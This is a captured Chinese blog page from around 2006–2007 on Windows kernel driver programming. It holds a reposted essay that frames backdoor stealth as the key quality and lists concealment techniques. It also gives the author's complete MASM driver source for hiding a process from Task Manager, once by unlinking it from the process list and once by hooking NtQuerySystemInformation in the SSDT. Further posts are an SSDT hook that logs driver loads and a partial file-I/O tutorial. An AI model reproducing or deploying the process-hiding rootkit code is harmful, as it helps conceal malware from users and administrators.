关于作者

用户名:llf6
笔名:dge
地区: 北京-北京
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



友情链接

精彩站点

访问统计:
文章个数:21
评论个数:37
留言条数:8




Powered b BlogDriver 2.1

dge

 

文章

节日快乐
光棍节快乐

- 作者: D哥 2007年11月11日, 星期日 23:19  回复(0) |  引用(0) 加入博采

谈谈后门
					   谈谈后门
作者:yyt_hac	
主页:http://www.yythac.com	
Email:webmaster@yythac.com

	随着电脑技术的发展和网络的普及,黑客技术已经为越来越多的人所了解,好多网站也推出了黑客
培训班、VIP会员等一系列服务,这些服务必然会培养出好多黑客技术爱好者,而后门作为黑客必须的工具
必然会受到越来越多的关注。目前新后门增长的速度也很快,我接触后门很久了,也写过一些后门,现在想
谈谈对后门的一些看法,如果有错误的地方,欢迎指正。

	我想谈的第一个问题就是对一些概念的理解,那就是“远程控制软件”,“木马”,“后门”。

	一般“远程控制软件”是指用户便于远程管理而有意在自己机器上安装的软件,如pcanywhere,它
的特征是用户自己有意安装的软件,它的使用者是用户自己。不过现在有人也把“远程控制软件”的意义扩
充了,认为有远程控制功能的软件就叫远程控制软件,比如有些木马、后门有远程控制功能,也把它们叫远
程控制软件。

	“木马”全名叫“特洛伊木马”,它的使用者是黑客,更确切的说是“骇客”,它主要是“骇客”
通过欺骗用户的方法(包含捆绑,利用网页等)让用户不知不觉的安装到他们系统中的一类软件,主要功能
有远程控制,盗密码等。木马的名字就指出了它的特征,那就是具有欺骗性,软件的分类不应该看它的功能
,而是应该看它的特征。现在有些木马的开发者不喜欢把自己开发的木马叫作“木马”,而是叫“远程控制
软件”。原因很简单,“木马”是贬义的,“远程控制软件”就是褒义的了,这样做也可以理解,因为毕竟
“木马”也包含在扩充了意义的“远程控制软件”中了。可是还有人说它开发的木马是远程控制软件而不是
木马,这就不能理解了。是不是木马不是由你说的,而是要看它的特征。“木马”和常规远程控制软件的区
别就在于它能够通过欺骗的方式让用户不知不觉的安装到他的计算机中,它不是用户自己想安装的,而常规
远程控制软件是用户自己有意安装的。你能说“冰河”不是木马吗?不能,因为它有木马的特征。木马的特
征也是好多人讨厌它的原因,因为被人欺骗了总是很痛苦的,特别是被人欺骗了感情;好多木马都有盗密码
功能,这是让人讨厌它的另一个原因,因此水平比较高的黑客都不屑于用木马。

	“后门”是黑客在入侵了计算机以后为了以后能方便的进入该计算机而安装的一类软件,它的使用
者是水平比较高的黑客,他们入侵的机器都是一些性能比较好的服务器,而且这些计算机的管理员水平都比
较高,为了不让管理员发现,这就要求“后门”必须很隐蔽,因此后门的特征就是它的隐蔽性。木马的隐蔽
性也很重要,可是由于被安装了木马的机器的使用者一般水平都不高,因此相对来说就没有后门这么重要了。
后门和木马的区别就是它更注重隐蔽性但是没有欺骗性,因此它的危害性没有木马大,名声介于“远程控制
软件”和“木马”之间。

	通过上面的分析,我们就很容易区分这三类软件了。后门作为一种黑客工具,它的主要用途还是在
非法方面,把它说成是一种恶意程序也可以接受,可是却不能把它说成是病毒、木马,因为它们出来本质特
征是不同的。当然,任何事物都有两面性,有好的作用就有坏的作用,工具本身的好坏是一个方面,但是关
键是要看使用工具的人,刀可以用来杀人也可以用来救人,不能因为刀可以杀人就把刀说得一无是处,关键
是看好处多些还是坏处多些。后门也一样,不可否认,它的坏处要多些,可是它的破坏力不大,而且它也有
好的一方面,比如后门让大家增加网络安全意识,提高国家整体网络安全水平,可以增加杀毒软件的卖点,
也可以用它来控制国外的机器为祖国做贡献,是不是很夸张?

	下面我们谈谈什么样的后门才是好后门?也就是后门最重要的是什么?

	现在好多后门技术都公开了,也都有源代码,因此写一个后门并不困难,只要学会了编程,两个星
期就可以写出一个还可以的后门,这也是新后门不断增加的原因,可是要写一个真正好后门并不是一件容易
的事情。那什么样的后门才是真正好的后门呢?其实从上面可以知道后门的特征就是它的隐蔽性,因此隐蔽
性好的后门才是真正的好后门。我发现好多人在说这个后门的功能有多么多么的强大,那个后门有多么多么
难卸载,讨论这些有意义吗?只有在隐蔽性很好的情况下再来考虑它的功能和易用性,否则被发现了,你的
后门功能再多,再容易使用,也一点作用都没有。如果你只想找功能强大,容易使用的后门,我劝你还是使
用商业化的远程控制软件好了,如把pcanywhere改成能在命令行下可以安装的版本就可以了,它的功能够强
大了吧,使用也够方便了吧,根本用不到后门。难卸载性就更没意义了,如果我发现了我的机器被装了后门
,你再难卸载我重装系统还不行吗?不可能你发现有根刺在你肉里而不把它拔出来的。如果你发现你的系统
被装了后门却因为难卸载而能忍受它在你的系统中,那我只能说 ‘I 服了 YOU’。

	那么后门的隐蔽性主要体现在哪些方面呢?我觉得有下面三个方面:
	启动方式、存在方式和连接方式。

	启动方式是指当操作系统启动时怎样启动后门,目前决大多数后门都是采用加注册表启动项或者加
系统服务的方式,这些方式都是很容易发现的,而感染系统文件的启动方式是比较隐蔽的。

	存在方式是指当后门成功启动后,它在操作系统中的存在形式,目前主要有三种方式:进程、隐藏
进程和远程线程,进程和隐藏进程现在都很容易发现了,远程线程是一种比较隐蔽的方式。

	连接方式是指该后门的用户怎样通过客户端和安装了该后门的机器建立连接,从而控制该机器。开
tcp端口的方式太明显,fport就可以发现,udp端口也一样,使用icmp等数据包实现无连接传输不是很稳定,
目前端口复用技术和反向连接技术都是比较好的技术,各有所长,也可以两种技术相结合。

	如果一个后门能够把上面三个方面都做得很好,那才是一个真正的好后门,否则只能算是一个入门
级后门。

	那为什么要写后门呢?

	首先,写一个好的后门是一件很有挑战性的事情,毕竟它涉及到很多高级的编程技术,编写后门能
够增加你对操作系统底层的了解,大幅度的提高编程水平。从事一些工作的人水平到了一定的阶段就想有所
突破,做一些有挑战性的事情,比如登山运动员想登上珠穆朗玛峰,游戏运动员想游过太平洋,黑客程序员
嘛就是想写一个好后门了。
	其次,写后门可以提高你在黑客界的知名度。
	再次,写收费后门还可以带来经济效益。
	最后,后门虽然有很多坏处,但是毕竟破坏力不大,它也有些好的用途。

	写这篇文章是因为在聊天的过程中经常有人和我讨论这问题,也看到了好多人对这些问题的看法,
因此我也把我的一些观点写出来,以后有人和我讨论这些问题我就把这篇文章给他看就可以了。

	这篇文章有可能会冒犯一些人,如果你觉得我冒犯了你,那有可能是你水平比较低,因为我尊重的
是水平高的黑客,而不是骇客。如果你自认为水平很高却还是觉得我冒犯了你,那欢迎批评指正。

												
									2005-2-24

- 作者: D哥 2007年07月5日, 星期四 22:40  回复(0) |  引用(0) 加入博采

完美世界

- 作者: D哥 2007年06月30日, 星期六 09:33  回复(0) |  引用(0) 加入博采

推荐些好东西

由于水平的原因,我拿不出什么好东西给大家,而看到我的博客依然还是有很多人来.为了不让兄弟们白来一趟,我推荐一些东西给大家,算是弥补一下.这些东西特别适合象我一样喜欢驱动的朋友.

楚狂人大侠的系列教程:

《文件系统驱动开发教程》

Windows TDI过滤驱动开发(电子书)

DriverNetworks开发网络驱动教材(0-7课)

上面这些在驱动开发论坛上都可以找到http://bbs.driverdevelop.com/index.php

看这些书之前我感觉最好对WDM驱动模型有个最基本的了解.

关于WDM的好书:

Walter Oney写的 《Programming the Windows Driver Model》这个在网上可以找到中文版本.

Four-F的驱动开发教程.(这个是专门讲内核驱动的,在asm.yeah.net上可以找到).

好了,以后我发现什么好东西,再告诉大家,如果你发现了好东西,也要记得告诉我哦.

- 作者: D哥 2006年12月23日, 星期六 09:16  回复(3) |  引用(0) 加入博采

进程隐藏的两种方法

作者:dge
                              进程隐藏的两种方法
这两种都是很古老的方法,因为无聊,所以写了一下。代码在XP_SP2下调试通过.

(1).从活动进程链表(ActiveProcessLinks)中摘除自身,这种方法可以欺骗任务管理器,
下面这个程序做的就是双向链表的删除节点和插入节点,十分的简单。


;@echo off
;goto make

;----------------------------------------------------------------------------------------------------
.386
.model flat, stdcall
option casemap:none
;----------------------------------------------------------------------------------------------------
;                                 I N C L U D E   F I L E S                                       
;----------------------------------------------------------------------------------------------------
include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\ntoskrnl.inc
include d:masm32\include\w2k\w2kundoc.inc
includelib d:\masm32\lib\w2k\ntoskrnl.lib
include d:\masm32\Macros\Strings.mac

_DriverUnload proto :PDRIVER_OBJECT
_DispatchControlIo proto :PDEVICE_OBJECT,:PIRP

;----------------------------------------------------------------------------------------------------
;                                 C O N S T A N T S                                            
;----------------------------------------------------------------------------------------------------

.const
CCOUNTED_UNICODE_STRING "\\Device\\devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slHideprocess", g_usSymbolicLinkName, 4   
 
.data
szHide                  db   'explorer.exe',0
Flink                   dd   ?
Blink                   dd   ? 
Explorer                dd   ?
;----------------------------------------------------------------------------------------------------
;                                 C O D E                                 
;----------------------------------------------------------------------------------------------------

.code

DriverEntry proc uses ebx edi esi, pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
 local status:NTSTATUS
 local pDeviceObject:PDEVICE_OBJECT
 local   dwId,lpEprocess
        local   ListOffset,NameOffset
 local   IdOffset
 local   Version
        
;       int 3
; invoke DbgPrint,$CTA0("\n\nEntry  DriverEntry\n\n")
 mov status,STATUS_DEVICE_CONFIGURATION_ERROR

 invoke IoCreateDevice,pDriverObject,0,addr g_usDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,addr pDeviceObject
 .if     eax==STATUS_SUCCESS
         mov eax,pDriverObject
  assume eax:ptr DRIVER_OBJECT
  mov [eax].DriverUnload,  offset _DriverUnload
  assume eax:nothing
  ;获得得系统版本
  invoke  PsGetVersion,NULL,addr Version,NULL,NULL     
                mov     eax,Version
  cmp     eax,0
  jne     l1
  mov     ListOffset,0A0h
  mov     NameOffset,1fch
  jmp     l2
        l1:     cmp     eax,1
         jne     exit
  mov     ListOffset,88h
  mov     NameOffset,174h
        l2:     invoke  PsGetCurrentProcessId
         mov     dwId,eax
         invoke  PsLookupProcessByProcessId,dwId,addr lpEprocess
  mov     esi,lpEprocess
  add     esi,ListOffset
  mov     edi,esi
                assume  edi:PLIST_ENTRY
         assume  esi:PLIST_ENTRY   
        l3:     mov     edx,[esi].Flink
         ;比较是否为最后一个EPROCESS
                cmp     edx,edi                                      
  je      l4
  assume  esi:nothing
  sub     esi,ListOffset
  add     esi,NameOffset
  invoke  strcmp,esi,addr szHide
  .if     eax == 0
          sub     esi,NameOffset
          add     esi,ListOffset   
          mov     Explorer,esi
   assume  esi:PLIST_ENTRY
   assume  ebx:PLIST_ENTRY
   assume  eax:PLIST_ENTRY
                        ;删除节点
   mov     eax,[esi].Flink            
   mov     ebx,[esi].Blink
   mov     [ebx].Flink,eax
   mov     [eax].Blink,ebx
   mov     Flink,eax
   mov     Blink,ebx
   assume  eax:nothing
   assume  ebx:nothing
    
   invoke DbgPrint,$CTA0("\n\n************hide process successful ***********\n\n")
   jmp     l4
                .endif
  ;恢复EPROCESS指针
                sub     esi,NameOffset                                  
                add     esi,ListOffset                 
                assume  esi:PLIT_ENTRY
                mov     esi,[esi].Flink
                jmp     l3
l4:  
         assume  esi:nothing
                assume  edi:nothing                
                mov     status,STATUS_SUCCESS      
exit:      
 .endif
 mov     eax,status
 ret
        mov     eax,STATUS_DEVICE_CONFIGURATION_ERROR
        ret
DriverEntry endp

;----------------------------------------------------------------------------------------------------
;                                 D R I V E R U N L O A D                                          
;----------------------------------------------------------------------------------------------------

_DriverUnload proc pDriverObject:PDRIVER_OBJECT

;       int 3
; invoke DbgPrint,$CTA0("\n\nEntry DriverUnload\n\n")
        pushad

        mov     eax,Flink
 mov     ebx,Explorer
 assume  ebx:PLIST_ENTRY
 assume  eax:PLIST_ENTRY
 ;恢复被摘除的节点
 mov     [eax].Blink,ebx                                             
 mov     [ebx].Flink,eax

 mov     eax,Blink
 mov     [eax].Flink,ebx
 mov     [ebx].Blink,eax
 
 popad
 ;清除符号连接
 invoke IoDeleteSymbolicLink,addr g_usSymbolicLinkName                
 mov eax, pDriverObject   
 ;删除在初始化创建的设备
 invoke IoDeleteDevice,(DRIVER_OBJECT PTR [eax]).DeviceObject
 
 ret

_DriverUnload endp
;----------------------------------------------------------------------------------------------------
;                                 E N D                                          
;----------------------------------------------------------------------------------------------------
             
end DriverEntry


:make

set path=%path%;d:\masm32\bin
set drv=hideprocess
ml /nologo /c /coff %drv%.bat
link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
echo.
pause

;****************************************************************************************************


(2).如果你反汇编taskmgr.exe,可以在发现taskmgr.exe是通过NtQuerySystemInformation枚举进程的,
因此可以通过挂钩系统服务NtQuerySystemInformation修改这个函数的行为,从而实现在任务管理器中隐藏进程的目的,下面就是实现代码。
 
;@echo off
;goto make

.386
.model flat, stdcall
option casemap:none
;----------------------------------------------------------------------------------------------------
;                                 I N C L U D E   F I L E S                                       
;----------------------------------------------------------------------------------------------------

include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\native.inc
include d:\masm32\include\w2k\ntoskrnl.inc
includelib d:\masm32\lib\w2k\ntoskrnl.lib
include d:\masm32\Macros\Strings.mac
;----------------------------------------------------------------------------------------------------
;                                 D A T A                                          
;----------------------------------------------------------------------------------------------------
.data
;保存地址
dwOldNtQuerySystemInformation  dd            ?
dwAddr                         dd            ?
;----------------------------------------------------------------------------------------------------
;                                 C O N S T A N T S                                            
;----------------------------------------------------------------------------------------------------
.const
CCOUNTED_UNICODE_STRING "\\Device\\devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slHideprocess", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "explorer.exe", processname, 4
;----------------------------------------------------------------------------------------------------
;                                 C O D E                nbsp;                
;----------------------------------------------------------------------------------------------------
.code

NewNtQuerySystemInformation     proc  SysInfoClass,lpSysInfo,SysInfoL,Return
                     
                    invoke NtQuerySystemInformation,SysInfoClass,lpSysInfo,SysInfoL,Return
                    pushad   
      test eax,eax
      jnz   exit
      .if    SysInfoClass == SystemProcessesAndThreadsInformation
             mov     esi,lpSysInfo
      mov     ebx,esi
             add     esi,[esi]                                     
     
         @@:               add     esi,38h                                        ;在38h偏移处取得进程名字。
                           invoke  RtlCompareUnicodeString,addr processname, esi, 1

      .if    eax== 0
             invoke DbgPrint, $CTA0("\nsuccessful \n")
             .if    dword ptr[esi-38h] == 0
             mov dword ptr[ebx],0
      jmp    exit
             .else    
             sub    esi,38h
             mov    edx,[esi]
                                         add    [ebx],edx
 
                                         add    esi,[esi]
             jmp    @B
                                  .endif
             .else
                                  sub    esi,38h
             cmp    dword ptr[esi],0
             jz     exit
             mov    ebx,esi
                                  add    esi,[esi]
      jmp    @B
             .endif        
      .endif
                
  exit:      popad

                    ret

NewNtQuerySystemInformation    endp

;----------------------------------------------------------------------------------------------------
;                                 H O O K F U N C                                         
;----------------------------------------------------------------------------------------------------
HookFunction        proc

                    pushad
;      int 3
;      invoke DbgPrint, $CTA0("\nEntry into hoookfunction\n")
                    ;下面是用KeServiceDescriptorTabled导出符号获得数组的基地址,这个数组中包含有NtXXXX函数的入口地址。
      mov eax, [KeServiceDescriptorTable]
             mov esi, [eax]
      mov esi, [esi]
                    ;下面五句为获取ZwQuerySystemInformation的地址
      mov eax,ZwQuerySystemInformation
      inc eax
      inc eax
      mov eax,[eax]
      mov eax,[eax]
      inc eax
      movzx ecx,byte ptr[eax]
      sal ecx,2                  
      add esi,ecx
      mov dwAddr,esi
      mov edi,dword ptr[esi]
      ;保存旧的函数地址。
      mov dwOldNtQuerySystemInformation,edi
                    mov edi,offset NewNtQuerySystemInformation
      ;修改入口地址
      cli
      mov dword ptr[esi],edi
      sti
      popad
                    mov eax, STATUS_SUCCESS

      ret

HookFunction     endp

;----------------------------------------------------------------------------------------------------
;                                 DriverUnload                                          
;----------------------------------------------------------------------------------------------------                               
DriverUnload        proc pDriverObject:PDRIVER_OBJECT
;必须保存环境,否则后果很严重。在这个函数中恢复被修改的地址。
 
                   pushad
;             int 3
;                   invoke DbgPrint, $CTA0("\nEntry into DriverUnload \n")
                    mov esi,dwAddr
             mov eax,dwOldNtQuerySystemInformation
                    cli
             mov dword ptr[esi],eax
             sti
                    invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
             mov eax,pDriverObject
             invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject             
             popad

             ret

DriverUnload endp

;----------------------------------------------------------------------------------------------------
;                                 D R I V E R E N T R Y                                          
;----------------------------------------------------------------------------------------------------
DriverEntry         proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
                    local status:NTSTATUS
      local pDeviceObject:PDEVICE_OBJECT

;                   int 3
;             invoke DbgPrint, $CTA0("\nEntry into DriverEntry\n")
             mov status, STATUS_DEVICE_CONFIGURATION_ERROR
                    invoke IoCreateDevice, pDriverObject, 0, addr g_usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, addr pDeviceObject
             .if    eax == STATUS_SUCCESS
      mov eax, pDriverObject
      assume eax:ptr DRIVER_OBJECT
      mov [eax].DriverUnload,  offset DriverUnload
                    assume eax:nothing
                           invoke HookFunction       
      mov status, STATUS_SUCCESS
             .endif
             mov eax, status

             ret

DriverEntry         endp

end DriverEntry

;----------------------------------------------------------------------------------------------------
;                                 E N D                                         
;----------------------------------------------------------------------------------------------------

:make

set drv=hideprocess

d:\masm32\bin\ml /nologo /c /coff %drv%.bat
d:\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj

del %drv%.obj

echo.
pause


参考:

(1) Windows2000 内核级进程隐藏、侦测技术 
(2) A portable Win32 userland rootkit   

- 作者: D哥 2006年11月26日, 星期日 16:36  回复(10) |  引用(0) 加入博采

Windows NT/2000/XP下不用驱动的Ring0代码实现
摘:本文转载自http://webcrazy.yeah.net 查看全文

- 作者: D哥 2006年11月19日, 星期日 18:06  回复(1) |  引用(0) 加入博采

关于进入ring0的另一种方法
摘要:文章写的非常好,本文转载自http://www.vxer.cn的杂志NE365 magazine V0.1. 查看全文

- 作者: D哥 2006年11月19日, 星期日 17:43  回复(0) |  引用(0) 加入博采

总结进入RING0的方法
摘要:本文转载自CVC:http://www.retcvc.com/index.html的杂志cvc_issue1 查看全文

- 作者: D哥 2006年10月8日, 星期日 15:11  回复(2) |  引用(0) 加入博采

在Kernel mode下绕过Outpost Firewall 3.x和4.0
摘要:同样是greatdong翻译的文章。 查看全文

- 作者: D哥 2006年09月2日, 星期六 18:29  回复(0) |  引用(0) 加入博采

跟踪Native API函数调用
摘要:greatdong翻译的文章 查看全文

- 作者: D哥 2006年08月27日, 星期日 15:10  回复(0) |  引用(0) 加入博采

Hook API监视驱动的加载

;**************************************************************************************************
;Author:dge/D哥
;Date  :2006.7.20
;**************************************************************************************************
;@echo off
;goto make

.386
.model flat, stdcall
option casemap:none

;*************************************************************************************************
include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\ntoskrnl.inc
includelib d:\masm32\lib\w2k\ntoskrnl.lib
include d:\masm32\Macros\Strings.mac

;**************************************************************************************************
.data
;保存地址
dwOldNtLoadDriver   dd            ?
dwAddr              dd            ?
dwDriverName        ANSI_STRING 
.const
CCOUNTED_UNICODE_STRING "\\Device\\devHookApi", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slHookApi", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "ZwLoadDriver", g_usRoutineAddr, 4
  
;**************************************************************************************************
.code
;让这个函数在NtLoadDriver的调用时被执行以实现监视
NewNtLoadDriver     proc  lpDriverName:PUNICODE_STRING
                   
      pushad
;      int 3
;                   invoke DbgPrint, $CTA0("\nEntry into NEW\n")
      invoke RtlUnicodeStringToAnsiString, addr dwDriverName, lpDriverName,TRUE
      invoke DbgPrint, $CTA0("\nDriverName: %s.sys\n"), dwDriverName.Buffer
      popad
      ;调用原函数
      push   lpDriverName
      call   dwOldNtLoadDriver
   
                    ret

NewNtLoadDriver     endp

;**************************************************************************************************
HookFunction        proc

                    pushad
;      int 3
;      invoke DbgPrint, $CTA0("\nEntry into hoookfunction\n")
                    ;下面是用KeServiceDescriptorTabled导出符号获得数组的基地址,这个数组中包含有NtXXXX函数的入口地址。
      mov eax, KeServiceDescriptorTable
             mov esi, [eax]
      mov esi, [esi]
      ;用MmGetSystemRoutineAddress来获得函数ZwLoadDriver的地址。并从这个函数地址后面的第2个字节中取得服务号。从而
      ;获得以服务号为下标的数组元素。
             invoke MmGetSystemRoutineAddress,addr g_usRoutineAddr
      inc eax
      movzx ecx,byte ptr[eax]
      sal ecx,2                  
      add esi,ecx
      mov dwAddr,esi
      mov edi,dword ptr[esi]
      ;保存旧的函数地址。
      mov dwOldNtLoadDriver,edi
                    mov edi,offset NewNtLoadDriver
      ;修改入口地址
      cli
      mov dword ptr[esi],edi
      sti
      popad
                    mov eax, STATUS_SUCCESS

      ret

HookFunction     endp

;**************************************************************************************************                               
DispatchCreateClose proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

             mov eax, pIrp
             assume eax:ptr _IRP
             mov [eax].IoStatus.Status, STATUS_SUCCESS
             and [eax].IoStatus.Information, 0
             assume eax:nothing

             invoke  IoCompleteRequest, pIrp, IO_NO_INCREMENT
             mov eax, STATUS_SUCCESS

             ret

DispatchCreateClose endp

;**************************************************************************************************
DriverUnload        proc pDriverObject:PDRIVER_OBJECT
;必须保存环境,否则后果很严重。在这个函数中恢复被修改的地址。
 
                   pushad
;             int 3
;                   invoke DbgPrint, $CTA0("\nEntry into DriverUnload \n")
                    mov esi,dwAddr
             mov eax,dwOldNtLoadDriver
                    cli
             mov dword ptr[esi],eax
             sti
                    invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
             mov eax,pDriverObject
             invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject             
             popad

             ret

DriverUnload endp

;**************************************************************************************************
DriverEntry         proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
              &bsp;     local status:NTSTATUS
      local pDeviceObject:PDEVICE_OBJECT

;                   int 3
;             invoke DbgPrint, $CTA0("\nEntry into DriverEntry\n")
             mov status, STATUS_DEVICE_CONFIGURATION_ERROR
                    invoke IoCreateDevice, pDriverObject, 0, addr g_usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, addr pDeviceObject
             .if eax == STATUS_SUCCESS
                 invoke IoCreateSymbolicLink, addr g_usSymbolicLinkName, addr g_usDeviceName
                 .if eax == STATUS_SUCCESS
                     mov eax, pDriverObject
                     assume eax:ptr DRIVER_OBJECT
                     mov [eax].DriverUnload,            offset DriverUnload
                     mov [eax].MajorFunction[IRP_MJ_CREATE*(sizeof PVOID)],        offset DispatchCreateClose
                     mov [eax].MajorFunction[IRP_MJ_CLOSE*(sizeof PVOID)],         offset DispatchCreateClose
          
       assume eax:nothing
                                          invoke HookFunction
           
                     mov status, STATUS_SUCCESS
                 .else
                                          invoke IoDeleteDevice, pDeviceObject
                 .endif
             .endif
             mov eax, status

             ret

DriverEntry         endp

end DriverEntry

;**************************************************************************************************

:make

set drv=HooKapi

d:\masm32\bin\ml /nologo /c /coff %drv%.bat
d:\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj

del %drv%.obj

echo.
pause
参考:Undocumented Windows NT
感谢:非常感谢cardmagic大侠的帮助

- 作者: D哥 2006年07月24日, 星期一 09:55  回复(16) |  引用(0) 加入博采

通过进程链枚举进程
摘要:做个练习 查看全文

- 作者: D哥 2006年05月3日, 星期三 21:27  回复(1) |  引用(0) 加入博采

Kmdtut 11---目录与文件

目录与文件

11.1 核心句柄表
11.2 FileWorks驱动程序源代码
11.3 创建目录与文件
11.4 文件对象
11.5 写入文件
11.6 修改文件属性
11.7 读取文件
11.8 向文件追加数据
11.9 截短文件
11.10 删除文件与目录
11.11 列举目录内容

 

源程序: KmdKit\examples\basic\FileWorks

提供对文件的读写功能是操作系统的一项重要任务。我们来看一下NT家族的操作系统都为我们提供了那些功能。

11.1 核心句柄表

在开始讨论本文的主题之前,我们先来讨论一个重要的问题,我们之前并未对其给予应有的注意。为了取得对象的句柄需要填充OBJECT_ATTRIBUTES结构体——我们已经做过很多遍了,其样子如下:

InitializeObjectAttributes addr oa, addr g_usName, OBJ_CASE_INSENSITIVE, NULL, NULL

初始化了OBJECT_ATTRIBUTES后,我们调用函数创建或打开这个对象并获得其句柄(handle)。但这个句柄进入的是得到上下文的那个进程的句柄表。因为对于进程句柄表是其特有的,所以使用这个句柄就只能在进程自己的上下文中。例如,若是试图在其它进程的上下文中打开这个句柄的话,好的情况下会操作失败,而运气不好的话,要是在这个进程句柄表中有取值相同的句柄——要知道句柄只是一个32位的数(准确地讲是一个位的结构体)——就可能闭其它对象。甚至如果获得的句柄是驱动句柄,但是是在用户进程中,句柄就会进入这个进程的句柄表并有可能有意或无意地在用户模式下使用对象。不希望的事情却总是发生,这样的情况常常出现。正是因此,内核组件和驱动程序有其特殊性,它们不喜欢使用句柄,而是使用reference to object,这样比较好,只需简单地使用指向内存中对象结构体的指针。为了统计对对象的引用,在对象的首部保存着一个引用计数(reference count)。如果需要像本例和上例中的那样访问对象,就要设计一个循环,在不同的上下文中对其进行访问,让系统将句柄放入核心句柄表中(kernel handle table)。

从Windows 2000开始,在系统中有了专门的核心句柄表。在这个表中的句柄只能内核模式下的任意进程上下文中访问,与进程特有的句柄不同。甚至于,比如说如果在System进程的上下文、在DriverEntry函数中获得句柄,则就不能在用户进程上下文中使用对象。System进程实现了自己私有的句柄表,其与核心句柄表不同。

对于在核心句柄表中的句柄,需要在调用InitializeObjectAttributes宏时显式地设置OBJ_KERNEL_HANDLE标志,形式如下:

InitializeObjectAttributes addr oa, addr g_usName, OBJ_KERNEL_HANDLE, NULL, NULL

11.2 FileWorks驱动程序源代码

就像上一例中的驱动程序,本例的驱动程序的代码也是由几个独立的函数构成的:CreateDirectory、CreateFile、WriteFile、MarkAsReadOnly、ReadFile、UnmarkAsReadOnly、AppendFile、TruncateFile、DeleteFile、DeleteDirectory和EnumerateFiles。几乎所有的函数都是独立工作的。

;@echo off
;goto make

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                                                  
;  FileWorks - Пример различных операций с файлами.                                                
;                                                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.386
.model flat, stdcall
option casemap:none

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                               В К Л Ю Ч А Е М Ы Е    Ф А Й Л Ы                                   
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

include \masm32\include\w2k\ntstatus.inc
include \masm32\include\w2k\ntifs.inc
include \masm32\include\w2k\ntoskrnl.inc

includelib \masm32\lib\w2k\ntoskrnl.lib

include \masm32\Macros\Strings.mac

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                             Н Е И З М Е Н Я Е М Ы Е    Д А Н Н Ы Е                               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.const

CCOUNTED_UNICODE_STRING "\\??\\c:\\FileWorks\\test.txt", g_usFileName, 4
CCOUNTED_UNICODE_STRING "\\??\\c:\\FileWorks", g_usDirName, 4

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                           К О Д                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                      CreateDirectory                                             
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

CreateDirectory proc

local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hDirectory:HANDLE

    ; 还记得吧, 传递给DbgPrint函数的用于格式化Unicode的代码(%C, %S, %lc, %ls, %wc, %ws, %wZ)只能在
    ; IRQL = PASSIVE_LEVEL下调用!
   
    invoke DbgPrint, $CTA0("\nFileWorks: Creating %ws directory\n"), g_usDirName.Buffer

    InitializeObjectAttributes addr oa, addr g_usDirName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL

    invoke ZwCreateFile, addr hDirectory, SYNCHRONIZE, addr oa, addr iosb, 0, FILE_ATTRIBUTE_NORMAL, \
                        0, FILE_OPEN_IF, FILE_DIRECTORY_FILE + FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0
    .if eax == STATUS_SUCCESS
        .if iosb.Information == FILE_CREATED
            invoke DbgPrint, $CTA0("FileWorks: Directory created\n")
        .elseif iosb.Information == FILE_OPENED
            invoke DbgPrint, $CTA0("FileWorks: Directory exists and was opened\n")
        .endif
  &nbs;     invoke ZwClose, hDirectory
    .else
        invoke DbgPrint, $CTA0("FileWorks: Can't create directory. Status: %08X\n"), eax
    .endif
   
    ret

CreateDirectory endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                        CreateFile                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

CreateFile proc

local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hFile:HANDLE

